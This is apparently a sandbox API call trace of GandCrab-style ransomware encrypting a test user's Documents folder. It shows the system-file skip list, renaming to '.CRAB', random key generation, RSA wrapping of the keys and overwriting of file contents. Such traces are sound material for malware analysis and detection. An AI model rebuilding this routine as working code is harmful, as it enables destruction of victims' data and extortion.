	[0129.452] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xfffe8eda, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.452] WriteFile (in: hFile=0x3e8, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x17130, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314d45c*=0x17130, lpOverlapped=0x0) returned 1
	[0129.453] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.453] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.457] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0129.457] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0129.457] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0129.457] CloseHandle (hObject=0x3e8) returned 1
	[0129.458] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.458] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.458] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.458] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.458] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.459] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.459] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0129.459] lstrcmpW (lpString1="P_uUNmb.docx", lpString2=".") returned 1
	[0129.459] lstrcmpW (lpString1="P_uUNmb.docx", lpString2="..") returned 1
	[0129.459] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="P_uUNmb.docx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\P_uUNmb.docx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\P_uUNmb.docx"
	[0129.459] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0129.459] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\P_uUNmb.docx") returned 44
	[0129.459] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\P_uUNmb.docx") returned 44
	[0129.459] lstrlenW (lpString=".docx") returned 5
	[0129.459] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.459] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".docx ") returned 6
	[0129.459] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.460] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\P_uUNmb.docx") returned 44
	[0129.460] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\P_uUNmb.docx") returned 44
	[0129.460] lstrcmpiW (lpString1="P_uUNmb.docx", lpString2="desktop.ini") returned 1
	[0129.460] lstrcmpiW (lpString1="P_uUNmb.docx", lpString2="autorun.inf") returned 1
	[0129.460] lstrcmpiW (lpString1="P_uUNmb.docx", lpString2="ntuser.dat") returned 1
	[0129.460] lstrcmpiW (lpString1="P_uUNmb.docx", lpString2="iconcache.db") returned 1
	[0129.460] lstrcmpiW (lpString1="P_uUNmb.docx", lpString2="bootsect.bak") returned 1
	[0129.460] lstrcmpiW (lpString1="P_uUNmb.docx", lpString2="boot.ini") returned 1
	[0129.460] lstrcmpiW (lpString1="P_uUNmb.docx", lpString2="ntuser.dat.log") returned 1
	[0129.460] lstrcmpiW (lpString1="P_uUNmb.docx", lpString2="thumbs.db") returned -1
	[0129.460] lstrcmpiW (lpString1="P_uUNmb.docx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0129.460] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.460] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\P_uUNmb.docx.CRAB") returned 49
	[0129.460] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\P_uUNmb.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\p_uunmb.docx")) returned 0x20
	[0129.460] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\P_uUNmb.docx", dwFileAttributes=0x20) returned 1
	[0129.461] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\P_uUNmb.docx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\p_uunmb.docx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\P_uUNmb.docx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\p_uunmb.docx.crab")) returned 1
	[0129.462] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0129.462] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\P_uUNmb.docx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\P_uUNmb.docx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\P_uUNmb.docx.CRAB"
	[0129.462] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\P_uUNmb.docx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\P_uUNmb.docx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\P_uUNmb.docx.CRAB.CRAB"
	[0129.462] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e6b0) returned 1
	[0129.464] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.465] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.465] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.465] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0129.465] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0129.465] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.465] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0129.468] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.468] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.468] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.468] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0129.468] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0129.468] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.469] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0129.469] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0129.471] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e408) returned 1
	[0129.474] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e3b8) returned 1
	[0129.474] CryptGetKeyParam (in: hKey=0x318e3b8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0129.474] CryptEncrypt (in: hKey=0x318e3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0129.474] GetLastError () returned 0x0
	[0129.475] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0129.475] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e9e0) returned 1
	[0129.477] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e478) returned 1
	[0129.477] CryptGetKeyParam (in: hKey=0x318e478, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0129.477] CryptEncrypt (in: hKey=0x318e478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0129.478] GetLastError () returned 0x0
	[0129.478] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0129.478] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\P_uUNmb.docx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\p_uunmb.docx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0129.478] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0129.479] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0129.479] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0x677a, lpOverlapped=0x0) returned 1
	[0129.491] VirtualAlloc (lpAddress=0x0, dwSize=0x6780, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0129.492] VirtualAlloc (lpAddress=0x0, dwSize=0x6780, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0129.492] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.493] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff9886, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.493] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x6780, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0x6780, lpOverlapped=0x0) returned 1
	[0129.493] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.493] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.497] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0129.497] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0129.497] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0129.497] CloseHandle (hObject=0x3e8) returned 1
	[0129.497] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.498] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.498] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.498] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.498] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.498] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.499] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0129.499] lstrcmpW (lpString1="Q-6NOqG.pptx", lpString2=".") returned 1
	[0129.499] lstrcmpW (lpString1="Q-6NOqG.pptx", lpString2="..") returned 1
	[0129.499] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="Q-6NOqG.pptx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q-6NOqG.pptx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q-6NOqG.pptx"
	[0129.499] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0129.499] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q-6NOqG.pptx") returned 44
	[0129.499] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q-6NOqG.pptx") returned 44
	[0129.499] lstrlenW (lpString=".pptx") returned 5
	[0129.499] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.499] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".pptx ") returned 6
	[0129.499] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.500] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q-6NOqG.pptx") returned 44
	[0129.500] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q-6NOqG.pptx") returned 44
	[0129.500] lstrcmpiW (lpString1="Q-6NOqG.pptx", lpString2="desktop.ini") returned 1
	[0129.500] lstrcmpiW (lpString1="Q-6NOqG.pptx", lpString2="autorun.inf") returned 1
	[0129.500] lstrcmpiW (lpString1="Q-6NOqG.pptx", lpString2="ntuser.dat") returned 1
	[0129.500] lstrcmpiW (lpString1="Q-6NOqG.pptx", lpString2="iconcache.db") returned 1
	[0129.500] lstrcmpiW (lpString1="Q-6NOqG.pptx", lpString2="bootsect.bak") returned 1
	[0129.500] lstrcmpiW (lpString1="Q-6NOqG.pptx", lpString2="boot.ini") returned 1
	[0129.500] lstrcmpiW (lpString1="Q-6NOqG.pptx", lpString2="ntuser.dat.log") returned 1
	[0129.500] lstrcmpiW (lpString1="Q-6NOqG.pptx", lpString2="thumbs.db") returned -1
	[0129.500] lstrcmpiW (lpString1="Q-6NOqG.pptx", lpString2="CRAB-DECRYPT.txt") returned 1
	[0129.500] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.500] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q-6NOqG.pptx.CRAB") returned 49
	[0129.500] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q-6NOqG.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\q-6noqg.pptx")) returned 0x20
	[0129.501] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q-6NOqG.pptx", dwFileAttributes=0x20) returned 1
	[0129.501] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q-6NOqG.pptx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\q-6noqg.pptx"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q-6NOqG.pptx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\q-6noqg.pptx.crab")) returned 1
	[0129.502] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0129.502] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q-6NOqG.pptx.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q-6NOqG.pptx.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q-6NOqG.pptx.CRAB"
	[0129.502] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q-6NOqG.pptx.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q-6NOqG.pptx.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q-6NOqG.pptx.CRAB.CRAB"
	[0129.502] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e5a0) returned 1
	[0129.505] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.505] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.505] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.505] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0129.505] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0129.505] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.506] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0129.513] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0129.513] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0129.513] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0129.513] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0129.513] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0129.513] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.514] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0129.514] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0129.514] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0129.517] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e078) returned 1
	[0129.517] CryptGetKeyParam (in: hKey=0x318e078, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0129.517] CryptEncrypt (in: hKey=0x318e078, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0129.517] GetLastError () returned 0x0
	[0129.518] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0129.518] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6ec00) returned 1
	[0129.520] CryptImportKey (in: hProv=0xd6ec00, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x318e1b8) returned 1
	[0129.520] CryptGetKeyParam (in: hKey=0x318e1b8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0129.520] CryptEncrypt (in: hKey=0x318e1b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0129.521] GetLastError () returned 0x0
	[0129.521] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0129.521] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Q-6NOqG.pptx.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\q-6noqg.pptx.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0129.521] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0129.521] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0129.522] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0xf56a, lpOverlapped=0x0) returned 1
	[0129.534] VirtualAlloc (lpAddress=0x0, dwSize=0xf570, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0129.535] VirtualAlloc (lpAddress=0x0, dwSize=0xf570, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0129.537] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.537] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffff0a96, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.537] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xf570, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0xf570, lpOverlapped=0x0) returned 1
	[0129.538] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.538] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.542] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0129.542] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0129.542] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0129.542] CloseHandle (hObject=0x3e8) returned 1
	[0129.542] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.542] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.543] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.543] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.543] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.543] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.543] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0129.544] lstrcmpW (lpString1="Qj54fTAb TMlYo.xlsx", lpString2=".") returned 1
	[0129.544] lstrcmpW (lpString1="Qj54fTAb TMlYo.xlsx", lpString2="..") returned 1
	[0129.544] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\", lpString2="Qj54fTAb TMlYo.xlsx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Qj54fTAb TMlYo.xlsx") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Qj54fTAb TMlYo.xlsx"
	[0129.544] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0129.544] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Qj54fTAb TMlYo.xlsx") returned 51
	[0129.544] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Qj54fTAb TMlYo.xlsx") returned 51
	[0129.544] lstrlenW (lpString=".xlsx") returned 5
	[0129.544] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0129.544] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xlsx ") returned 6
	[0129.544] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0129.544] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Qj54fTAb TMlYo.xlsx") returned 51
	[0129.544] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\Qj54fTAb TMlYo.xlsx") returned 51
	[0129.544] lstrcmpiW (lpString1="Qj54fTAb TMlYo.xlsx", lpString2="desktop.ini") returned 1
	[0129.545] lstrcmpiW (lpString1="Qj54fTAb TMlYo.xlsx", lpString2="autorun.inf") returned 1
	[0129.545] lstrcmpiW (lpString1="Qj54fTAb TMlYo.xlsx", lpString2="ntuser.dat") returned 1
	[0129.545] lstrcmpiW (lpString1="Qj54fTAb TMlYo.xlsx", lpString2="iconcache.db") returned 1
	[0129.545] lstrcmpiW (lpString1="Qj54fTAb TMlYo.xlsx", lpString2="bootsect.bak") returned 1
	[0129.545] lstrcmpiW (lpString1="Qj54fTAb TMlYo.xlsx", lpString2="boot.ini") returned 1
	[0129.545] lstrcmpiW (lpString1="Qj54fTAb TMlYo.xlsx", lpString2="ntuser.dat.log") returned 1
	[0129.545] lstrcmpiW (lpString1="Qj54fTAb TMlYo.xlsx", lpString2="thumbs.db") returned -1
